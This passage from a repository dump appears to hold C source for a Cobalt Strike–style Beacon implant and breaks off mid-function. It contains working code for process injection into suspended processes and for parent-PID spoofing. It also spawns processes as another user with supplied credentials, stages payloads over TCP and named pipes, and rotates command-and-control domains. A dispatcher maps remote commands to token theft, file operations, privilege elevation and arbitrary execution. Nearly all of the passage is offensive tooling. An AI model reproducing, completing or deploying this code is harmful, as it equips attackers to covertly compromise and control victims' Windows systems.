BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len)\n{\n\tBeaconInjectProcessInternal(pInfo, pInfo->hProcess, pInfo->dwProcessId, payload, p_len, p_offset, arg, a_len);\n}\n\nBOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo)\n{\n\tchar cmd[MAX_PATH];\n\tSpawnToFix(x86, cmd);\n\treturn RunUnderParent(cmd, strlen(cmd), si, pInfo, CREATE_SUSPENDED, ignoreToken);\n}\n\nvoid BeaconCleanupProcess(PROCESS_INFORMATION* pInfo)\n{\n\tif (pInfo->hProcess)\n\t\tCloseHandle(pInfo->hProcess);\n\n\tif (pInfo->hThread)\n\t\tCloseHandle(pInfo->hThread);\n}\n\n\nvoid Execute(char* buffer, int length)\n{\n\tSTARTUPINFOA si = { sizeof(si) };\n\tPROCESS_INFORMATION pi = { 0 };\n\tGetStartupInfoA(&si);\n\tsi.wShowWindow = SW_HIDE;\n\tmemset(&si.hStdInput, 0, sizeof(si.hStdInput));\n\tmemset(&si.hStdOutput, 0, sizeof(si.hStdOutput));\n\tmemset(&si.hStdError, 0, sizeof(si.hStdError));\n\tsi.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;\n\n#define MAX_CMD 1024\n\tif (length >= MAX_CMD)\n\t\treturn;\n\n\tchar cmd[MAX_CMD];\n\tstrncpy(cmd, buffer, length);\n\tcmd[length] = 0;\n\tRunUnderParent(cmd, length, &si, &pi, 0, FALSE);\n\tBeaconCleanupProcess(&pi);\n}\n\nBOOL SpawnAsUserInternal(BOOL x86, char* lpDomain, char* lpUsername, char* lpPassword, PROCESS_INFORMATION* lpProcessInfo)\n{\n\tchar cmd[256];\n\tSpawnToFix(x86, cmd);\n\treturn RunAsUserInternal(lpDomain, lpUsername, lpPassword, cmd, CREATE_SUSPENDED, lpProcessInfo);\n}\n\nvoid SpawnAsUser(char* buffer, int length, BOOL x86)\n{\n#define MAX_DOMAIN 1024\n#define MAX_USERNAME 1024\n#define MAX_PASSWORD 1024\n\n\tdatap* locals = BeaconDataAlloc(MAX_DOMAIN + MAX_USERNAME + MAX_PASSWORD);\n\n\tchar* domain = BeaconDataPtr(locals, MAX_DOMAIN);\n\tchar* username = BeaconDataPtr(locals, MAX_USERNAME);\n\tchar* password = BeaconDataPtr(locals, MAX_PASSWORD);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\n\tif (!BeaconDataStringCopySafe(&parser, domain, MAX_DOMAIN))\n\t\tgoto cleanup;\n\n\tif (!BeaconDataStringCopySafe(&parser, username, MAX_USERNAME))\n\t\tgoto cleanup;\n\n\tif (!BeaconDataStringCopySafe(&parser, password, MAX_PASSWORD))\n\t\tgoto cleanup;\n\n\tPROCESS_INFORMATION pi;\n\tif (SpawnAsUserInternal(x86, domain, username, password, &pi))\n\t{\n\t\tSleep(100);\n\n\t\tint size = BeaconDataLength(&parser);\n\t\tchar* data = BeaconDataBuffer(&parser);\n\t\tBeaconInjectTemporaryProcess(&pi, data, size, 0, NULL, 0);\n\t}\n\n\tBeaconCleanupProcess(&pi);\n\ncleanup:\n\tBeaconDataFree(locals);\n}\n\nBOOL SpawnUnderInternal(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pi, int pid)\n{\n\tchar cmd[256];\n\tSpawnToFix(x86, cmd);\n\treturn RunUnder(cmd, strlen(cmd), si, pi, CREATE_SUSPENDED, ignoreToken, pid);\n}\n\nvoid SpawnUnder(char* buffer, int length, BOOL x86)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint pid = BeaconDataInt(&parser);\n\tchar* payload = BeaconDataBuffer(&parser);\n\tint payloadLength = BeaconDataLength(&parser);\n\n\tSTARTUPINFOA si = { sizeof(si) };\n\tPROCESS_INFORMATION pi = { 0 };\n\tGetStartupInfoA(&si);\n\tsi.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;\n\tsi.wShowWindow = SW_HIDE;\n\tsi.hStdInput = 0;\n\tsi.hStdOutput = 0;\n\tsi.hStdError = 0;\n\n\tif (SpawnUnderInternal(x86, TRUE, &si, &pi, pid))\n\t{\n\t\tSleep(100);\n\t\tBeaconInjectTemporaryProcess(&pi, payload, payloadLength, 0, NULL, 0);\n\t\tBeaconCleanupProcess(&pi);\n\t}\n}\n\nBOOL RunIsSameSessionAsCurrent(int pid)\n{\n\tint sessionId;\n\tif (!ProcessIdToSessionId(pid, &sessionId))\n\t\treturn TRUE;\n\n\tint currentSessionId;\n\tif (!ProcessIdToSessionId(GetCurrentProcessId(), &currentSessionId))\n\t\treturn TRUE;\n\n\treturn sessionId == currentSessionId;\n}\n\nvoid RunSetParentPid(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tgParentPid = BeaconDataInt(&parser);\n\n\tif(gParentPid && !RunIsSameSessionAsCurrent(gParentPid))\n\t{\n\t\tLERROR(\"PPID %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset.\", gParentPid);\n\t\tBeaconErrorD(ERROR_PARENT_PROCESS_NOT_IN_SAME_SESSION, gParentPid);\n\t}\n}\n\nvoid SpawnSetTo(char* buffer, int length, BOOL x86)\n{\n\tif(!gSpawnToX86 || !gSpawnToX64)\n\t{\n#define MAX_SPAWN_TO 256\n#define MAX_SPAWN_TO_X86 MAX_SPAWN_TO\n#define MAX_SPAWN_TO_X64 MAX_SPAWN_TO\n\t\tdatap* parser = BeaconDataAlloc(MAX_SPAWN_TO_X86 + MAX_SPAWN_TO_X64);\n\t\tgSpawnToX86 = BeaconDataPtr(parser, MAX_SPAWN_TO_X86);\n\t\tgSpawnToX64 = BeaconDataPtr(parser, MAX_SPAWN_TO_X64);\n\t}\n\n\tif(length != 0 && length <= 256)\n\t{\n\t\tchar* dst;\n\t\tint size;\n\t\tif(x86)\n\t\t{\n\t\t\tdst = gSpawnToX86;\n\t\t\tsize = MAX_SPAWN_TO_X86;\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\tdst = gSpawnToX64;\n\t\t\tsize = MAX_SPAWN_TO_X64;\n\t\t}\n\n\t\tmemset(dst, 0, size);\n\t\tmemcpy(dst, buffer, length);\n\t} else\n\t{\n\t\tmemset(gSpawnToX86, 0, MAX_SPAWN_TO_X86);\n\t\tmemset(gSpawnToX64, 0, MAX_SPAWN_TO_X64);\n\t}\n}"
  },
  {
    "path": "Beacon/spawn.h",
    "content": "#pragma once\n\nvoid SpawnAndPing(char* data, int size, BOOL x86);\n\nvoid BlockDlls(char* buffer, int length);\n\nvoid Execute(char* buffer, int length);\n\nvoid RunAsUser(char* buffer, int length);\n\nvoid RunSetParentPid(char* buffer, int length);\n\nvoid RunUnderPid(char* buffer, int length);\n\nvoid SpawnUnder(char* buffer, int length, BOOL x86);\n\nvoid SpawnAsUser(char* buffer, int length, BOOL x86);\n\nvoid SpawnSetTo(char* buffer, int length, BOOL x86);\n\nvoid Spawn(char* data, int size, BOOL x86, BOOL ignoreToken);\n\nvoid InjectIntoPidAndPing(char* buffer, int length, BOOL x86);\n\nBOOL RunUnderParent(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCESS_INFORMATION* processInfo, int creationFlags, BOOL ignoreToken);\n\nBOOL AdjustMemoryPermissions(char* payload, int size);\n\nBOOL IsWow64ProcessEx(HANDLE hProcess);\n\nchar* InjectLocally(char* payload, int size);"
  },
  {
    "path": "Beacon/stage.c",
    "content": "#include \"pch.h\"\n\n#include \"stage.h\"\n\n#include \"beacon.h\"\n#include \"link.h\"\n#include \"network.h\"\n#include \"pipe.h\"\n\nint StagePayloadViaTcp(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tchar* target = BeaconDataStringPointer(&parser);\n\tint port = BeaconDataInt(&parser);\n\tchar* packed = BeaconDataBuffer(&parser);\n\tint packedLength = BeaconDataLength(&parser);\n\n\tNetworkInit();\n\n\tSOCKET targetSocket;\n\tint timeout = GetTickCount() + 60000;\n\twhile (GetTickCount() < timeout)\n\t{\n\t\ttargetSocket = LinkViaTcpConnect(target, port);\n\t\tif(targetSocket != INVALID_SOCKET)\n\t\t{\n\t\t\tsend(targetSocket, packed, packedLength, 0);\n\t\t\tgoto waitAndClose;\n\t\t}\n\n\t\tSleep(1000);\n\t}\n\n\tLERROR(\"Could not connect to target (stager)\");\n\tBeaconErrorNA(ERROR_STAGER_VIA_TCP_CONNECTION_FAILED);\n\n\twaitAndClose:\n\tSleep(1000);\n\treturn closesocket(targetSocket);\n}\n\nvoid StagePayloadViaPipe(char* buffer, int length)\n{\n\tchar text[128];\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tBeaconDataStringCopySafe(&parser, text, sizeof(text));\n\tchar* data = BeaconDataBuffer(&parser);\n\tint dataLength = BeaconDataLength(&parser);\n\n\tHANDLE hFile;\n\tint seconds = 0;\n\tint timeout = GetTickCount() + 60000;\n\twhile(!PipeConnectWithToken(text, &hFile, 0))\n\t{\n\t\tif(GetLastError() == ERROR_BAD_NETPATH || GetTickCount() >= timeout)\n\t\t\tgoto error;\n\n\t\tSleep(1000);\n\n\t\tif (++seconds >= 10)\n\t\t\tgoto error;\n\t}\n\n\tDWORD wrote;\n\tWriteFile(hFile, &dataLength, sizeof(dataLength), &wrote, NULL);\n\n\tint tmp = dataLength;\n\tfor(int total = 0; total < dataLength; total += wrote)\n\t{\n\t\tint toWrite = dataLength - total;\n\t\ttoWrite = min(toWrite, 0x2000);\n\n\t\tif (!WriteFile(hFile, data + total, toWrite, &wrote, NULL))\n\t\t\tbreak;\t\n\t}\n\n\tFlushFileBuffers(hFile);\n\tDisconnectNamedPipe(hFile);\n\tCloseHandle(hFile);\n\tSleep(1000);\n\n\treturn;\n\n\terror:\n\tDWORD lastError = GetLastError();\n\tLERROR(\"Could not connect to pipe (%s): %s\", text, LAST_ERROR_STR(lastError));\n\tBeaconErrorDS(ERROR_STAGER_VIA_TCP_CONNECTION_FAILED, text, lastError);\n}"
  },
  {
    "path": "Beacon/stage.h",
    "content": "#pragma once\n\nint StagePayloadViaTcp(char* buffer, int length);\nvoid StagePayloadViaPipe(char* buffer, int length);"
  },
  {
    "path": "Beacon/strategy.c",
    "content": "#include \"pch.h\"\n\n#include \"strategy.h\"\n\n#include \"settings.h\"\n#include \"utils.h\"\n\n#define STRATEGY_DEFAULT 0\n#define STRATEGY_RANDOM 1\n#define STRATEGY_FAILOVER 2\n\n#if S_DOMAIN_STRATEGY == STRATEGY_DEFAULT\n#include \"strategy_default.c\"\n#elif S_DOMAIN_STRATEGY == STRATEGY_RANDOM\n#include \"strategy_random.c\"\n#elif S_DOMAIN_STRATEGY == STRATEGY_FAILOVER\n#include \"strategy_failover.c\"\n#else\n#error \"Invalid domain strategy\"\n#endif\n\nBOOL StrategyMarkRetry(\n    const bool isConnectionFailed,\n    int* attempts,\n    int* sleepTime,\n    int* priorSleepTime)\n{\n    if (S_MAX_RETRY_STRATEGY_ATTEMPTS <= 0)\n\t    return false;\n\n    if (isConnectionFailed)\n    {\n\t    if (++*attempts >= S_MAX_RETRY_STRATEGY_INCREASE && !*priorSleepTime)\n\t    {\n\t\t    *priorSleepTime = *sleepTime;\n\t\t    *sleepTime = min(*sleepTime, 1000 * S_MAX_RETRY_STRATEGY_DURATION);\n\t    }\n\t    if (*attempts >= S_MAX_RETRY_STRATEGY_ATTEMPTS)\n\t\t    return true;\n    }\n    else if (*attempts > 0)\n    {\n\t    *attempts = 0;\n\t    if (*priorSleepTime)\n\t    {\n\t\t    *sleepTime = *priorSleepTime;\n\t\t    *priorSleepTime = 0;\n\t    }\n    }\n}\n"
  },
  {
    "path": "Beacon/strategy.h",
    "content": "#pragma once\n\n#include <stdbool.h>\n\ntypedef struct STRATEGY\n{\n\tint seconds;\n\tint failSeconds;\n\tint failX;\n} STRATEGY;\n\nchar* StrategyPickDomain(\n    const char* domains,\n    const bool isConnectionStrategyFailed, STRATEGY strategy);"
  },
  {
    "path": "Beacon/strategy_default.c",
    "content": "\nchar* StrategyPickDomain(\n\tconst char* domains,\n\tconst bool isConnectionStrategyFailed, STRATEGY strategy)\n{\n\tstatic char* gCopiedDefaultDomains;\n\tif (gCopiedDefaultDomains)\n\t{\n\t\tchar* result = strtok(NULL, \",\");\n\t\tif (result)\n\t\t\treturn result;\n\t\tfree(gCopiedDefaultDomains);\n\t}\n\n\tSIZE_T srcLength = strlen(domains);\n\tgCopiedDefaultDomains = malloc(srcLength + 1);\n\tstrncpy(gCopiedDefaultDomains, domains, srcLength + 1);\n\treturn strtok(gCopiedDefaultDomains, \",\");\n}"
  },
  {
    "path": "Beacon/strategy_failover.c",
    "content": "\nchar* StrategyPickDomain(\n    const char* domains,\n    const bool isConnectionStrategyFailed, STRATEGY strategy)\n{\n    static time_t gBaseTimestamp;\n    static STRATEGY gStrategy;\n\n    static char* gFailoverDomainsStr;\n    static int gFailoverCount;\n    static char* gFailoverDomains[200];\n    static int gDomainIndex;\n    static time_t gFailoverStart;\n    static int gFailoverAttempts;\n    static BOOL gIsFailoverActive;\n\n    time_t baseTimestamp;\n\n    bool forceFailover = false;\n    const time_t currentTimestamp = time(NULL);\n    if (gFailoverDomainsStr)\n    {\n        baseTimestamp = gBaseTimestamp;\n        strategy = gStrategy;\n    }\n    else\n    {\n        const int domainsLength = strlen(domains) + 1;\n        gFailoverDomainsStr = malloc(domainsLength);\n        strncpy(gFailoverDomainsStr, domains, domainsLength);\n        gFailoverCount = 0;\n        for (char* domain = strtok(gFailoverDomainsStr, \",\"); domain; domain = strtok(NULL, \",\"))\n            gFailoverDomains[gFailoverCount++] = domain;\n        gDomainIndex = 0;\n        baseTimestamp = 0;\n\n        gBaseTimestamp = 0;\n        gStrategy = strategy;\n\n        gFailoverStart = time(NULL);\n    }\n\n    if (isConnectionStrategyFailed)\n    {\n        if (strategy.failX >= 0) {\n            ++gFailoverAttempts;\n            if (gFailoverAttempts > strategy.failX)\n                forceFailover = TRUE;\n        }\n\n        if (strategy.failSeconds >= 0)\n        {\n            if (baseTimestamp)\n            {\n                if (currentTimestamp > baseTimestamp + strategy.failSeconds)\n                    forceFailover = TRUE;\n            }\n            else\n            {\n                gBaseTimestamp = time(NULL);\n                strategy.failSeconds = gStrategy.failSeconds;\n            }\n        }\n    }\n    else if (!gIsFailoverActive)\n    {\n        gBaseTimestamp = 0;\n        gFailoverAttempts = 0;\n    }\n\n    if (gIsFailoverActive && !forceFailover)\n        gIsFailoverActive = FALSE;\n    else\n    {\n        if (forceFailover || (strategy.seconds >= 0 && currentTimestamp > gFailoverStart + strategy.seconds)) {\n            gFailoverAttempts = 0;\n            int tmp = gDomainIndex + 2;\n            gDomainIndex = tmp < gFailoverCount ? tmp : 0;\n            gFailoverStart = time(NULL);\n        }\n        gIsFailoverActive = TRUE;\n    }\n\n    return gFailoverDomains[gDomainIndex + (gIsFailoverActive ? 0 : 1)];\n}\n"
  },
  {
    "path": "Beacon/strategy_random.c",
    "content": "\nchar* StrategyPickDomain(\n\tconst char* domains,\n\tconst bool isConnectionStrategyFailed, STRATEGY strategy) {\n\tstatic char* gRandomDomainsArray;\n\tstatic char* gRandomTokenArray[200];\n\tstatic int gRandomTokenCount;\n\tstatic int gSelectedRandomDomainIndex;\n\n\tif (!gRandomDomainsArray)\n\t{\n\t\tchar* copiedDomains = malloc(strlen(domains) + 1);\n\t\tgRandomDomainsArray = copiedDomains;\n\n\t\tstrncpy(copiedDomains, domains, strlen(domains) + 1);\n\n\t\tgRandomTokenCount = 0;\n\t\tfor (char* token = strtok(gRandomDomainsArray, \",\"); token; token = strtok(NULL, \",\"))\n\t\t\tgRandomTokenArray[gRandomTokenCount++] = token;\n\t}\n\telse\n\t{\n\t\tif (gSelectedRandomDomainIndex < 0 || gSelectedRandomDomainIndex >= gRandomTokenCount)\n\t\t{\n\t\t\tgSelectedRandomDomainIndex = RoundToNearestEven(RandomIntInRange(0, gRandomTokenCount - 1));\n\t\t\treturn gRandomTokenArray[gSelectedRandomDomainIndex];\n\t\t}\n\t}\n\tgSelectedRandomDomainIndex = -1;\n\treturn gRandomTokenArray[0];\n}"
  },
  {
    "path": "Beacon/task.c",
    "content": "#include \"pch.h\"\n\n#include \"job.h\"\n#include \"argument.h\"\n#include \"beacon.h\"\n#include \"channel.h\"\n#include \"command.h\"\n#include \"download.h\"\n#include \"filesystem.h\"\n#include \"identity.h\"\n#include \"inline_execute_object.h\"\n#include \"link.h\"\n#include \"network.h\"\n#include \"self.h\"\n#include \"spawn.h\"\n#include \"stage.h\"\n#include \"powershell.h\"\n#include \"process.h\"\n#include \"web_response.h\"\n\nvoid TaskDispatch(int cmd, char* buffer, int size)\n{\n\tswitch (cmd)\n\t{\n\t\tcase COMMAND_BLOCKDLLS:\n\t\t\tBlockDlls(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_INLINE_EXECUTE_OBJECT:\n\t\t\tInlineExecuteObject(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_LSOCKET_BIND_LOCALHOST:\n\t\t\tChannelLSocketBind(buffer, size, LOCALHOST);\n\t\t\treturn;\n\t\tcase COMMAND_LSOCKET_BIND:\n\t\t\tChannelLSocketBind(buffer, size, 0);\n\t\t\treturn;\n\t\tcase COMMAND_SPAWNU_X86:\n\t\t\tSpawnUnder(buffer, size, TRUE);\n\t\t\treturn;\n\t\tcase COMMAND_SPAWNU_X64:\n\t\t\tSpawnUnder(buffer, size, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_SPAWNAS_X86:\n\t\t\tSpawnAsUser(buffer, size, TRUE);\n\t\t\treturn;\n\t\tcase COMMAND_SPAWNAS_X64:\n\t\t\tSpawnAsUser(buffer, size, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_LSOCKET_TCPPIVOT:\n\t\t\tChannelLSocketTcpPivot(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_ARGUE_ADD:\n\t\t\tArgumentAdd(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_ARGUE_REMOVE:\n\t\t\tArgumentRemove(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_ARGUE_LIST:\n\t\t\tArgumentList();\n\t\t\treturn;\n\t\tcase COMMAND_TCP_CONNECT:\n\t\t\tLinkViaTcp(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_PSH_HOST_TCP:\n\t\t\tPowershellHostTcp(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_JOB_SPAWN_X86:\n\t\t\tJobSpawn(buffer, size, TRUE, TRUE);\n\t\t\treturn;\n\t\tcase COMMAND_JOB_SPAWN_X64:\n\t\t\tJobSpawn(buffer, size, FALSE, TRUE);\n\t\t\treturn;\n\t\tcase COMMAND_JOB_SPAWN_TOKEN_X86:\n\t\t\tJobSpawn(buffer, size, TRUE, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_JOB_SPAWN_TOKEN_X64:\n\t\t\tJobSpawn(buffer, size, FALSE, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_SPAWN_PROC_X64:\n\t\t\tSpawnSetTo(buffer, size, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_SPAWN_PROC_X86:\n\t\t\tSpawnSetTo(buffer, size, TRUE);\n\t\t\treturn;\n\t\tcase COMMAND_FILE_DRIVES:\n\t\t\tFilesystemDrives(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_FILE_RM:\n\t\t\tFilesystemRemove(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_STAGE_PAYLOAD_SMB:\n\t\t\tStagePayloadViaPipe(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_WEBSERVER_LOCAL:\n\t\t\tWebServerLocal(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_ELEVATE_PRE:\n\t\t\tIdentityElevatePre(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_ELEVATE_POST:\n\t\t\tIdentityElevatePost();\n\t\t\treturn;\n\t\tcase COMMAND_PIPE_OPEN_EXPLICIT:\n\t\t\tProtocolSmbOpenExplicit(buffer);\n\t\t\treturn;\n\t\tcase COMMAND_UPLOAD_CONTINUE:\n\t\t\tUpload(buffer, size, \"wb\");\n\t\t\treturn;\n\t\tcase COMMAND_UPLOAD:\n\t\t\tUpload(buffer, size, \"ab\");\n\t\t\treturn;\n\t\tcase COMMAND_JOB_REGISTER:\n\t\t\tJobRegister(buffer, size, FALSE, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_JOB_REGISTER_IMPERSONATE:\n\t\t\tJobRegister(buffer, size, TRUE, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_JOB_REGISTER_MSGMODE:\n\t\t\tJobRegister(buffer, size, FALSE, TRUE);\n\t\t\treturn;\n\t\tcase COMMAND_EXECUTE_JOB:\n\t\t\tJobExecute(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_GETPRIVS:\n\t\t\tIdentityGetPrivileges(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_RUN_UNDER_PID:\n\t\t\tRunUnderPid(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_PPID:\n\t\t\tRunSetParentPid(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_FILE_MOVE:\n\t\t\tFilesystemMove(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_FILE_COPY:\n\t\t\tFilesystemCopy(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_SETENV:\n\t\t\tputenv(buffer);\n\t\t\treturn;\n\t\tcase COMMAND_FILE_MKDIR:\n\t\t\tFilesystemMkdir(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_STEAL_TOKEN:\n\t\t\tIdentityStealToken(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_PS_LIST:\n\t\t\tProcessList(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_PS_KILL:\n\t\t\tProcessKill(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_PSH_IMPORT:\n\t\t\tPowershellImport(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_RUNAS:\n\t\t\tRunAsUser(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_PWD:\n\t\t\tFilesystemPwd();\n\t\t\treturn;\n\t\tcase COMMAND_JOB_KILL:\n\t\t\tJobKill(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_JOBS:\n\t\t\tJobPrintAll();\n\t\t\treturn;\n\t\tcase COMMAND_PAUSE:\n\t\t\tPause(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_LOGINUSER:\n\t\t\tIdentityLoginUser(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_FILE_LIST:\n\t\t\tFilesystemList(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_STAGE_PAYLOAD:\n\t\t\tStagePayloadViaTcp(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_LSOCKET_CLOSE:\n\t\t\tChannelLSocketClose(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_INJECT_PID_PING:\n\t\t\tInjectIntoPidAndPing(buffer, size, TRUE);\n\t\t\treturn;\n\t\tcase COMMAND_INJECTX64_PID_PING:\n\t\t\tInjectIntoPidAndPing(buffer, size, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_TOKEN_REV2SELF:\n\t\t\tBeaconRevertToken();\n\t\t\treturn;\n\t\tcase COMMAND_SEND:\n\t\t\tChannelSend(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_CLOSE:\n\t\t\tChannelClose(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_LISTEN:\n\t\t\tChannelListen(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_TOKEN_GETUID:\n\t\t\tIdentityGetUid();\n\t\t\treturn;\n\t\tcase COMMAND_PIPE_REOPEN:\n\t\t\tPipeReopen(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_PIPE_CLOSE:\n\t\t\tPipeClose(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_PIPE_ROUTE:\n\t\t\tPipeRoute(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_CANCEL_DOWNLOAD:\n\t\t\tDownloadCancel(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_INJECT_PING:\n\t\t\tSpawnAndPing(buffer, size, TRUE);\n\t\t\treturn;\n\t\tcase COMMAND_INJECTX64_PING:\n\t\t\tSpawnAndPing(buffer, size, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_CONNECT:\n\t\t\tChannelConnect(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_SPAWN_TOKEN_X86:\n\t\t\tSpawn(buffer, size, TRUE, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_SPAWN_TOKEN_X64:\n\t\t\tSpawn(buffer, size, FALSE, FALSE);\n\t\t\treturn;\n\t\tcase COMMAND_SPAWNX64:\n\t\t\tSpawn(buffer, size, FALSE, TRUE);\n\t\t\treturn;\n\t\tcase COMMAND_DIE:\n\t\t\tDie();\n\t\t\treturn;\n\t\tcase COMMAND_SLEEP:\n\t\t\tSleepSet(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_CD:\n\t\t\tFilesystemCd(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_EXECUTE:\n\t\t\tExecute(buffer, size);\n\t\t\treturn;\n\t\tcase COMMAND_DOWNLOAD:\n\t\t\tDownloadDo(buffer, size);\n\t\t\treturn;\n\t\tdefault:\n\t\t\tLERROR(\"Unknown command: %d\", cmd);\n\t\t\treturn;\n\t}\n}\n\nvoid TaskProcess(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\n\tint remaining;\n\tdo\n\t{\n\t\tint cmd = BeaconDataInt(&parser);\n\t\tint size = BeaconDataInt(&parser);\n\t\tchar* data = BeaconDataPtr(&parser, size);\n\n\t\tremaining = BeaconDataLength(&parser);\n\t\tif (remaining < 0) // this should never happen\n\t\t\treturn;\n\n\t\tTaskDispatch(cmd, data, size);\n\t} while (remaining > 0);\n\n\tBeaconDataZero(&parser);\n}\n\n"
  },
  {
    "path": "Beacon/thread.c",
    "content": "#include \"pch.h\"\n\n#include \"thread.h\"\n\n#include \"settings.h\"\n#include \"spawn.h\"\n\ntypedef struct THREAD_INFO {\n\tLPTHREAD_START_ROUTINE lpStartAddress;\n\tLPVOID lpParameter;\n\tBOOL (*lpVirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\n} THREAD_INFO, *PTHREAD_INFO;\n\nint gThreadsActive = 0;\nLPTHREAD_START_ROUTINE gThreadStartAddress;\n\n#pragma code_seg(push, \".text$KKK002\")\n__declspec(noinline) void CFGCautionThreadStub(THREAD_INFO* threadInfo)\n{\n\tthreadInfo->lpStartAddress(threadInfo->lpParameter);\n\tthreadInfo->lpVirtualFree(threadInfo, 0, MEM_RELEASE);\n}\n#pragma code_seg(pop)\n\n#pragma code_seg(push, \".text$KKK003\")\n__declspec(noinline) void CFGCautionThreadStubEnd(void) {}\n#pragma code_seg(pop)\n\nHANDLE CreateThreadWithCfgCaution(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter) {\n\tconst PTHREAD_INFO pThreadInfo = malloc(sizeof(THREAD_INFO));\n\t*pThreadInfo = (THREAD_INFO){\n\t\tlpStartAddress,\n\t\tlpParameter,\n\t\tVirtualFree\n\t};\n\n\tif (!gThreadStartAddress)\n\t\tgThreadStartAddress = (LPTHREAD_START_ROUTINE)\n\t\t\tInjectLocally(CFGCautionThreadStub, (unsigned int)CFGCautionThreadStubEnd - (unsigned int)CFGCautionThreadStub);\n\n\tif (gThreadStartAddress)\n\t\treturn CreateThread(NULL, 0, gThreadStartAddress, pThreadInfo->lpStartAddress, 0, NULL);\n\n\treturn INVALID_HANDLE_VALUE;\n\n}\n\nHANDLE CreateThreadEx(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter)\n{\n\tgThreadsActive++;\n\tif (S_CFG_CAUTION) {\n\t\treturn CreateThreadWithCfgCaution(lpStartAddress, lpParameter);\n\t} else {\n\t\treturn CreateThread(NULL, 0, lpStartAddress, lpParameter, 0, NULL);\n\t}\t\n}"
  },
  {
    "path": "Beacon/thread.h",
    "content": "#pragma once\n\nextern int gThreadsActive;\n\nHANDLE CreateThreadEx(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter);"
  },
  {
    "path": "Beacon/transform.c",
    "content": "#include \"pch.h\"\n\n#include \"transform.h\"\n\n#include \"beacon.h\"\n#include \"settings.h\"\n#include \"utils.h\"\n\n#define STEP_NONE 0x0\n#define STEP_APPEND 0x1\n#define STEP_PREPEND 0x2\n#define STEP_BASE64 0x3\n#define STEP_PRINT 0x4\n#define STEP_PARAMETER 0x5\n#define STEP_HEADER 0x6\n#define STEP_BUILD 0x7\n#define STEP_NETBIOS 0x8\n#define STEP__PARAMETER 0x9\n#define STEP__HEADER 0xA\n#define STEP_NETBIOSU 0xB\n#define STEP_URI_APPEND 0xC\n#define STEP_BASE64URL 0xD\n#define STEP_STRREP 0xE\n#define STEP_MASK 0xF\n#define STEP__HOSTHEADER 0x10\n\n#define DATA_ARGUMENT_SESSION_DATA 0x0\n#define DATA_ARGUMENT_OUTPUT 0x1\n\nvoid TransformInit(TRANSFORM* transform, int size)\n{\n#define MAX_HEADERS 1024\n#define MAX_URI_PARAMS 1024\n#define MAX_URI 1024\n\ttransform->outputLength = max(3 * 